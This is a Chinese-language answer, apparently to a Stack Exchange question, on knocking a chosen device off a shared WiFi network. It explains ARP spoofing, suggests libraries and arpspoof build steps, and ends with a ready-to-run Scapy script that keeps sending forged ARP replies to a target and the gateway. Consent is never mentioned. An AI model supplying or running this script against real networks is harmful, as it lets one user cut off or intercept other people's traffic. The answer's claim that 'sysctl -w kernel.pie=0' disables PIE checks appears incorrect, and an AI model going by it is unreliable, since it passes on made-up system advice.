Android平台WiFi环境下终止指定设备网络连接的技术实现求助

我来帮你梳理下这两个问题的解决方向，这类局域网设备断网功能其实已经很成熟了，咱们一步一步来：

一、终止WiFi特定设备互联网连接的实现思路 #

这类功能的核心原理是ARP欺骗（ARP Spoofing）——通过伪造ARP数据包，让目标设备和网关互相认为对方的MAC地址是你的设备MAC，从而切断它们之间的正常通信，最终让目标设备无法访问互联网。下面分两种场景给你方案：

1. 使用类库实现 #

你之前尝试的jpcap确实比较老旧，维护不活跃，容易出现兼容性问题。推荐换用更现代、社区支持更好的类库：

• 如果是Java开发：可以试试Pcap4J，它封装了libpcap的功能，能轻松实现数据包的捕获、构造和发送，文档也更完善。
• 如果是Python开发：Scapy是首选，它提供了非常简洁的ARP包构造API，几行代码就能实现ARP欺骗，上手成本极低。

2. 不使用类库，原生编码实现 #

如果想自己从零实现，你需要掌握这些入门关键词：

• ARP协议：先搞懂ARP请求/应答的数据包结构、工作流程。
• 原始套接字（Raw Socket）：操作系统提供的直接发送/接收网络层数据包的接口，是手动构造数据包的基础。
• MAC地址欺骗：如何修改本地设备的MAC，或者在数据包中伪造目标MAC。
• 局域网设备扫描：先获取网关IP、目标设备的IP和MAC地址（可以通过ICMP ping+ARP扫描实现）。
• 数据包注入：构造伪造的ARP应答包，分别发送给网关和目标设备，持续刷新它们的ARP缓存。

二、arpspoof的PIE Error解决思路 #

PIE（Position Independent Executable）错误是因为系统启用了PIE安全机制，而你使用的旧版本arpspoof二进制文件没有支持PIE。解决方法有这几个：

1. 重新编译arpspoof
   从dsniff的源码仓库下载最新版本，编译时添加PIE支持参数：

./configure
make CFLAGS="-fPIE -pie"
sudo make install

这样生成的arpspoof二进制就符合系统的PIE要求了。

2. 临时关闭系统PIE强制检查（不推荐）
   如果只是临时测试，可以通过sysctl关闭PIE限制：

sudo sysctl -w kernel.pie=0

注意：这会降低系统的安全性，测试完成后记得改回kernel.pie=1。

3. 替换成更灵活的工具
   其实完全可以用Scapy写一个自己的ARP欺骗脚本，比arpspoof更可控，也不会有兼容性问题。比如一段简单的Python代码示例：

from scapy.all import ARP, send
import time

def arp_spoof(target_ip, gateway_ip):
    # 构造伪造的ARP应答包，让目标设备认为网关的MAC是自己的
    target_arp = ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="目标设备MAC")
    # 构造伪造的ARP应答包，让网关认为目标设备的MAC是自己的
    gateway_arp = ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="网关MAC")
    while True:
        send(target_arp, verbose=0)
        send(gateway_arp, verbose=0)
        time.sleep(2)

# 替换成你的目标设备IP和网关IP
arp_spoof("192.168.1.100", "192.168.1.1")

内容的提问来源于stack exchange，提问作者Sport Lachs